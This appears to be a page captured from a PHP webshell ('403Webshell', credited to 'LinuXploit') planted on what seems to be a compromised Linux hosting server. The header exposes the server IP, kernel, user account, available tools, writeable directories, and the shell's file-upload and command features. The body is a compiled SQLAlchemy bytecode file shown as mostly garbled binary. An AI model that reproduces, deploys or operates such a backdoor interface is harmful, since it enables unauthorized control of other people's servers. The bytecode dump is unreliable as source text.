403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.148.217.26
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib64/python3.7/site-packages/sqlalchemy/sql/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib64/python3.7/site-packages/sqlalchemy/sql/__pycache__/base.cpython-37.pyc
B

��4]T�@s0dZddlZddlZddlmZddlmZddlmZe�d�Z	e�d	�Z
Gd
d�de�Zdd
�Z
ejdd��ZGdd�dejj�ZGdd�dejj�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�dej�ZGd d!�d!eje�ZGd"d#�d#ej�Zd&d$d%�ZdS)'z4Foundational utilities common to many sql modules.

�N�)�
ClauseVisitor�)�exc)�util�PARSE_AUTOCOMMIT�NO_ARGc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�	Immutablez@mark a ClauseElement as 'immutable' when expressions are cloned.cOstd��dS)Nz(Immutable objects do not support copying)�NotImplementedError)�self�optionaldict�kwargs�r�F/opt/alt/python37/lib64/python3.7/site-packages/sqlalchemy/sql/base.py�
unique_paramsszImmutable.unique_paramscOstd��dS)Nz(Immutable objects do not support copying)r
)rrr
rrr�paramsszImmutable.paramscCs|S)Nr)rrrr�_clone"szImmutable._cloneN)�__name__�
__module__�__qualname__�__doc__rrrrrrrr	sr	cGstjdd�|D��S)NcSsg|]
}|j�qSr)�
_from_objects)�.0�elementrrr�
<listcomp>'sz!_from_objects.<locals>.<listcomp>)�	itertools�chain)�elementsrrrr&srcOs(|d��}||f|dd��|�|S)zMark a method as generative.rrN)�	_generate)�fn�args�kwrrrr�_generative*sr"c@sHeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dS)�_DialectArgViewzaA dictionary view of dialect-level arguments in the form
    <dialectname>_<argument_name>.

    cCs
||_dS)N)�obj)rr$rrr�__init__9sz_DialectArgView.__init__cCs>y|�dd�\}}Wntk
r0t|��Yn
X||fSdS)N�_r)�split�
ValueError�KeyError)r�key�dialect�	value_keyrrr�_key<s
z_DialectArgView._keycCsJ|�|�\}}y|jj|}Wntjk
r<t|��Yn
X||SdS)N)r-r$�dialect_optionsr�NoSuchModuleErrorr))rr*r+r,�optrrr�__getitem__Dsz_DialectArgView.__getitem__cCsFy|�|�\}}Wntk
r0t�d��YnX||jj||<dS)Nz0Keys must be of the form <dialectname>_<argname>)r-r)r�
ArgumentErrorr$r.)rr*�valuer+r,rrr�__setitem__Nsz_DialectArgView.__setitem__cCs |�|�\}}|jj||=dS)N)r-r$r.)rr*r+r,rrr�__delitem__Xsz_DialectArgView.__delitem__cCstdd�|jj��D��S)Ncss|]}t|j�VqdS)N)�len�
_non_defaults)rr rrr�	<genexpr>^sz*_DialectArgView.__len__.<locals>.<genexpr>)�sumr$r.�values)rrrr�__len__\sz_DialectArgView.__len__cs�fdd��jjD�S)Nc3s4|],}�jj|jD]}t�d||f�VqqdS)z%s_%sN)r$r.r7rZ
safe_kwarg)r�dialect_nameZ
value_name)rrrr8dsz+_DialectArgView.__iter__.<locals>.<genexpr>)r$r.)rr)rr�__iter__bs
z_DialectArgView.__iter__N)rrrrr%r-r1r4r5r;r=rrrrr#3s

r#c@s@eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dS)�_DialectArgDictz�A dictionary view of dialect-level arguments for a specific
    dialect.

    Maintains a separate collection of user-specified arguments
    and dialect-specified default arguments.

    cCsi|_i|_dS)N)r7�	_defaults)rrrrr%usz_DialectArgDict.__init__cCstt|j��|j��S)N)r6�setr7�unionr?)rrrrr;ysz_DialectArgDict.__len__cCstt|j��|j��S)N)�iterr@r7rAr?)rrrrr=|sz_DialectArgDict.__iter__cCs"||jkr|j|S|j|SdS)N)r7r?)rr*rrrr1s

z_DialectArgDict.__getitem__cCs||j|<dS)N)r7)rr*r3rrrr4�sz_DialectArgDict.__setitem__cCs|j|=dS)N)r7)rr*rrrr5�sz_DialectArgDict.__delitem__N)
rrrrr%r;r=r1r4r5rrrrr>lsr>c@speZdZdZedd��Zejdd��Ze	dd��Z
e�d�d	d
��Ze�
e�Zdd�Zejd
d��Zdd�ZdS)�
DialectKWArgsa9Establish the ability for a class to have dialect-specific arguments
    with defaults and constructor validation.

    The :class:`.DialectKWArgs` interacts with the
    :attr:`.DefaultDialect.construct_arguments` present on a dialect.

    .. seealso::

        :attr:`.DefaultDialect.construct_arguments`

    cCs@tj|}|dkr t�d|��||kr0i||<||||<dS)a�Add a new kind of dialect-specific keyword argument for this class.

        E.g.::

            Index.argument_for("mydialect", "length", None)

            some_index = Index('a', 'b', mydialect_length=5)

        The :meth:`.DialectKWArgs.argument_for` method is a per-argument
        way adding extra arguments to the
        :attr:`.DefaultDialect.construct_arguments` dictionary. This
        dictionary provides a list of argument names accepted by various
        schema-level constructs on behalf of a dialect.

        New dialects should typically specify this dictionary all at once as a
        data member of the dialect class.  The use case for ad-hoc addition of
        argument names is typically for end-user code that is also using
        a custom compilation scheme which consumes the additional arguments.

        :param dialect_name: name of a dialect.  The dialect must be
         locatable, else a :class:`.NoSuchModuleError` is raised.   The
         dialect must also include an existing
         :attr:`.DefaultDialect.construct_arguments` collection, indicating
         that it participates in the keyword-argument validation and default
         system, else :class:`.ArgumentError` is raised.  If the dialect does
         not include this collection, then any keyword argument can be
         specified on behalf of this dialect already.  All dialects packaged
         within SQLAlchemy include this collection, however for third party
         dialects, support may vary.

        :param argument_name: name of the parameter.

        :param default: default value of the parameter.

        .. versionadded:: 0.9.4

        NzRDialect '%s' does have keyword-argument validation and defaults enabled configured)rC�_kw_registryrr2)�clsr<�
argument_name�default�construct_arg_dictionaryrrr�argument_for�s(
zDialectKWArgs.argument_forcCst|�S)a9A collection of keyword arguments specified as dialect-specific
        options to this construct.

        The arguments are present here in their original ``<dialect>_<kwarg>``
        format.  Only arguments that were actually passed are included;
        unlike the :attr:`.DialectKWArgs.dialect_options` collection, which
        contains all options known by this dialect including defaults.

        The collection is also writable; keys are accepted of the
        form ``<dialect>_<kwarg>`` where the value will be assembled
        into the list of options.

        .. versionadded:: 0.9.2

        .. versionchanged:: 0.9.4 The :attr:`.DialectKWArgs.dialect_kwargs`
           collection is now writable.

        .. seealso::

            :attr:`.DialectKWArgs.dialect_options` - nested dictionary form

        )r#)rrrr�dialect_kwargs�szDialectKWArgs.dialect_kwargscCs|jS)z4A synonym for :attr:`.DialectKWArgs.dialect_kwargs`.)rJ)rrrrr
�szDialectKWArgs.kwargszsqlalchemy.dialectscCs$|j�|�}|jdkrdSt|j�S)N)�registry�loadZconstruct_arguments�dict)Zdialectsr<Zdialect_clsrrr�_kw_reg_for_dialect�s
z!DialectKWArgs._kw_reg_for_dialectcCs\tj|}t�}|dkr*|j�ddi�n.x,t|jj�D]}||kr8|j�||�q8W|S)N�*)rCrDr>r?�update�reversed�	__class__�__mro__)rr<rH�drErrr�_kw_reg_for_dialect_cls�s
z%DialectKWArgs._kw_reg_for_dialect_clscCst�t�|j��S)a�A collection of keyword arguments specified as dialect-specific
        options to this construct.

        This is a two-level nested registry, keyed to ``<dialect_name>``
        and ``<argument_name>``.  For example, the ``postgresql_where``
        argument would be locatable as::

            arg = my_object.dialect_options['postgresql']['where']

        .. versionadded:: 0.9.2

        .. seealso::

            :attr:`.DialectKWArgs.dialect_kwargs` - flat dictionary form

        )r�PopulateDictZportable_instancemethodrU)rrrrr.�szDialectKWArgs.dialect_optionsc	Cs�|sdSx�|D]�}t�d|�}|s.td|��|�dd�\}}y|j|}WnVtjk
r�t�d||f�t	�|j|<}|j
�ddi�|||j|<YqXd|kr�||kr�t�
d|||jf��q||||<qWdS)Nz^(.+?)_(.+)$zGAdditional arguments should be named <dialectname>_<argument>, got '%s'rrzHCan't validate argument %r; can't locate any SQLAlchemy dialect named %rrOz9Argument %r is not accepted by dialect %r on behalf of %r)�re�match�	TypeError�groupr.rr/r�warnr>r?rPr7r2rR)rr
�k�mr<Zarg_namerHrTrrr�_validate_dialect_kwargss0
z&DialectKWArgs._validate_dialect_kwargsN)rrrr�classmethodrIr�memoized_propertyrJ�propertyr
�dependenciesrNrVrDrUr.r^rrrrrC�s2
rCc@seZdZdZdd�ZdS)�
GenerativezRAllow a ClauseElement to generate itself via the
    @_generative decorator.

    cCs|j�|j�}|j��|_|S)N)rR�__new__�__dict__�copy)r�srrrrDszGenerative._generateN)rrrrrrrrrrc>srcc@sPeZdZdZdZe��ZdZe	dd��Z
dd�Zdd	�Zd
d�Z
edd
��ZdS)�
Executablez�Mark a ClauseElement as supporting execution.

    :class:`.Executable` is a superclass for all "statement" types
    of objects, including :func:`select`, :func:`delete`, :func:`update`,
    :func:`insert`, :func:`text`.

    TNcKs6d|krt�d��d|kr$t�d��|j�|�|_dS)ac Set non-SQL options for the statement which take effect during
        execution.

        Execution options can be set on a per-statement or
        per :class:`.Connection` basis.   Additionally, the
        :class:`.Engine` and ORM :class:`~.orm.query.Query` objects provide
        access to execution options which they in turn configure upon
        connections.

        The :meth:`execution_options` method is generative.  A new
        instance of this statement is returned that contains the options::

            statement = select([table.c.x, table.c.y])
            statement = statement.execution_options(autocommit=True)

        Note that only a subset of possible execution options can be applied
        to a statement - these include "autocommit" and "stream_results",
        but not "isolation_level" or "compiled_cache".
        See :meth:`.Connection.execution_options` for a full list of
        possible options.

        .. seealso::

            :meth:`.Connection.execution_options`

            :meth:`.Query.execution_options`

            :meth:`.Executable.get_execution_options`

        Zisolation_levelz�'isolation_level' execution option may only be specified on Connection.execution_options(), or per-engine using the isolation_level argument to create_engine().Zcompiled_cachezm'compiled_cache' execution option may only be specified on Connection.execution_options(), not per statement.N)rr2�_execution_optionsrA)rr!rrr�execution_optionsWs zExecutable.execution_optionscCs|jS)z� Get the non-SQL options which will take effect during execution.

        .. versionadded:: 1.3

        .. seealso::

            :meth:`.Executable.execution_options`
        )ri)rrrr�get_execution_options�s	z Executable.get_execution_optionscOs>|j}|dkr0t|d|jj�}d|}t�|��|�|||�S)z.Compile and execute this :class:`.Executable`.N�descriptionz�This %s is not directly bound to a Connection or Engine. Use the .execute() method of a Connection or Engine to execute this construct.)�bind�getattrrRrr�UnboundExecutionErrorZ_execute_clauseelement)r�multiparamsr�e�label�msgrrr�execute�s
zExecutable.executecOs|j||���S)znCompile and execute this :class:`.Executable`, returning the
        result's scalar representation.

        )rt�scalar)rrprrrrru�szExecutable.scalarcCsF|jdk	r|jSx0t|�D] }||kr(q|j}|dk	r|SqWdSdS)a5Returns the :class:`.Engine` or :class:`.Connection` to
        which this :class:`.Executable` is bound, or None if none found.

        This is a traversal which checks locally, then
        checks among the "from" clauses of associated objects
        until a bound engine or connection is found.

        N)�_bindrrm)r�fZenginerrrrm�s

zExecutable.bind)rrrrZsupports_executionrZ
immutabledictrirvr"rjrkrtrurarmrrrrrhJs.
rhc@s eZdZdZdd�Zdd�ZdS)�SchemaEventTargetz�Base class for elements that are the targets of :class:`.DDLEvents`
    events.

    This includes :class:`.SchemaItem` as well as :class:`.SchemaType`.

    cCsdS)z0Associate with this SchemaEvent's parent object.Nr)r�parentrrr�_set_parent�szSchemaEventTarget._set_parentcCs*|j�||�|�|�|j�||�dS)N)�dispatchZbefore_parent_attachrzZafter_parent_attach)rryrrr�_set_parent_with_dispatch�s
z+SchemaEventTarget._set_parent_with_dispatchN)rrrrrzr|rrrrrx�srxc@seZdZdZddiZdS)�
SchemaVisitorz/Define the visiting for ``SchemaItem`` objects.Zschema_visitorTN)rrrrZ__traverse_options__rrrrr}�sr}cs�eZdZdZdZ�fdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�Zdd�Zdd�Z
dd�Zdd�ZdZe�d�dd��Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Z�ZS)'�ColumnCollectionz�An ordered dictionary that stores a list of ColumnElement
    instances.

    Overrides the ``__eq__()`` method to produce SQL clauses between
    sets of correlated columns.

    �_all_columnscs8tt|���t�|dg�x|D]}|�|�q"WdS)Nr)�superr~r%�object�__setattr__�add)r�columns�c)rRrrr%�s
zColumnCollection.__init__cCstdd�|D��S)NcSsg|]}t|��qSr)�str)rr�rrrr�sz,ColumnCollection.__str__.<locals>.<listcomp>)�repr)rrrr�__str__�szColumnCollection.__str__cs�d��j|kr>�j�jkr>|�j}|j|jkr>|�|j|j=�j|jkrV|j�j��|j�j<�dk	r���fdd�|jD�|jdd�<n|j���dS)aadd the given column to this collection, removing unaliased
           versions of this column  as well as existing columns with the
           same key.

            e.g.::

                t = Table('sometable', metadata, Column('col1', Integer))
                t.columns.replace(Column('col1', Integer, key='columnone'))

            will remove the original 'col1' from the collection, and add
            the new column under the name 'columnname'.

           Used by schema.Column to override columns during table reflection.

        Ncsg|]}|�kr�n|�qSrr)rr�)�column�
remove_colrrrsz,ColumnCollection.replace.<locals>.<listcomp>)�namer*�_datar�append)rr��otherr)r�r�r�replace�s

"zColumnCollection.replacecCs|jst�d��|||j<dS)z�Add a column to this collection.

        The key attribute of the column will be used as the hash key
        for this dictionary.

        z-Can't add unnamed column to column collectionN)r*rr2)rr�rrrr�szColumnCollection.addcCs
t��dS)N)r
)rr*rrrr5szColumnCollection.__delitem__cCs
t��dS)N)r
)rr*r$rrrr�szColumnCollection.__setattr__cCsj||krP||}||krdS|�|�sBt�d|t|dd�|f�tj�|d�|j�|�||j|<dS)NzqColumn %r on table %r being replaced by %r, which has the same key.  Consider use_labels for select() statements.�tableZ	proxy_set)	�shares_lineagerr[rnr`�resetrr�r�)rr*r3�existingrrrr4s
zColumnCollection.__setitem__cCs
t��dS)N)r
)rrrr�clear7szColumnCollection.clearcs,|j�j=�fdd�|jD�|jdd�<dS)Ncsg|]}|�k	r|�qSrr)rr�)r�rrr=sz+ColumnCollection.remove.<locals>.<listcomp>)r�r*r)rr�r)r�r�remove:s
zColumnCollection.removecsFt|�}t|j��|j��fdd�|D��|j�dd�|D��dS)Nc3s|]\}}|�kr|VqdS)Nr)rrrr�)�all_col_setrrr8Dsz*ColumnCollection.update.<locals>.<genexpr>css|]\}}||fVqdS)Nr)rrrr�rrrr8Fs)�listr@r�extendr�rP)r�iter_�colsr)r�rrP@s

zColumnCollection.updatecsFt|�}t|j��|j��fdd�|D��|j�dd�|D��dS)Nc3s|]}|�kr|VqdS)Nr)rr�)r�rrr8Ksz*ColumnCollection.extend.<locals>.<genexpr>css|]}|j|fVqdS)N)r*)rr�rrrr8Ls)r�r@rr�r�rP)rr�r�r)r�rr�Hs
zColumnCollection.extendNzsqlalchemy.sql.elementscCsLg}x<t|d|�D],}x&|jD]}|�|�r|�||k�qWqW|j|�S)Nr)rnrr�r��and_)rrr��lr��localrrr�__eq__Ps
zColumnCollection.__eq__cCs$t|tj�st�d��tj�||�S)Nz'__contains__ requires a string argument)�
isinstancer�string_typesrr2�OrderedProperties�__contains__)rr�rrrr�Ys
zColumnCollection.__contains__cCs|j|jd�S)N)r�r)r�r)rrrr�__getstate__^szColumnCollection.__getstate__cCs(t�|d|d�t�|d|d�dS)Nr�r)r�r�)r�staterrr�__setstate__aszColumnCollection.__setstate__cCs|t|j�kS)N)r@r)r�colrrr�contains_columnesz ColumnCollection.contains_columncCst|j|j�S)N)�ImmutableColumnCollectionr�r)rrrr�as_immutablehszColumnCollection.as_immutable)rrrr�	__slots__r%r�r�r�r5r�r4r�r�rPr��__hash__rrbr�r�r�r�r�r��
__classcell__rr)rRrr~�s("
	r~c@s eZdZdd�ZejjZZdS)r�cCs tj�||�t�|d|�dS)Nr)r�ImmutablePropertiesr%r�r�)r�dataZall_columnsrrrr%msz"ImmutableColumnCollection.__init__N)	rrrr%rr�Z
_immutabler�r�rrrrr�lsr�c@s>eZdZdd�Zdd�Zdd�Ze�d�dd	��Zd
d�Z	dS)
�	ColumnSetcCs||kS)Nr)rr�rrrr�uszColumnSet.contains_columncCsx|D]}|�|�qWdS)N)r�)rr�r�rrrr�xs
zColumnSet.extendcCst|�t|�S)N)r�)rr�rrr�__add__|szColumnSet.__add__zsqlalchemy.sql.elementscCsBg}x2|D]*}x$|D]}|�|�r|�||k�qWq
W|j|�S)N)r�r�r�)rrr�r�r�r�rrrr�s


zColumnSet.__eq__cCsttdd�|D���S)Ncss|]
}|VqdS)Nr)r�xrrrr8�sz%ColumnSet.__hash__.<locals>.<genexpr>)�hash�tuple)rrrrr��szColumnSet.__hash__N)
rrrr�r�r�rrbr�r�rrrrr�ts
	r�cCs^|j}|sZ|jj}t|dt|dd��}|r8d||f}nd|}|dkrPd|}t�|��|S)N�fullnamer�z%s object %rz	%s objectzm%s is not bound to an Engine or Connection.  Execution can not proceed without a database to execute against.)rmrRrrnrro)Z
schemaitemrsrmr�rr�itemrrr�_bind_or_error�s
r�)N) rrrWZvisitorsr�rr�symbolrrr�r	r�	decoratorr"Zcollections_abc�MutableMappingr#r>rCrcrhrxr}r�r~r�r�Zordered_column_setr�r�rrrr�<module>
s.


	9 3q

Youez - 2016 - github.com/yon3zu
LinuXploit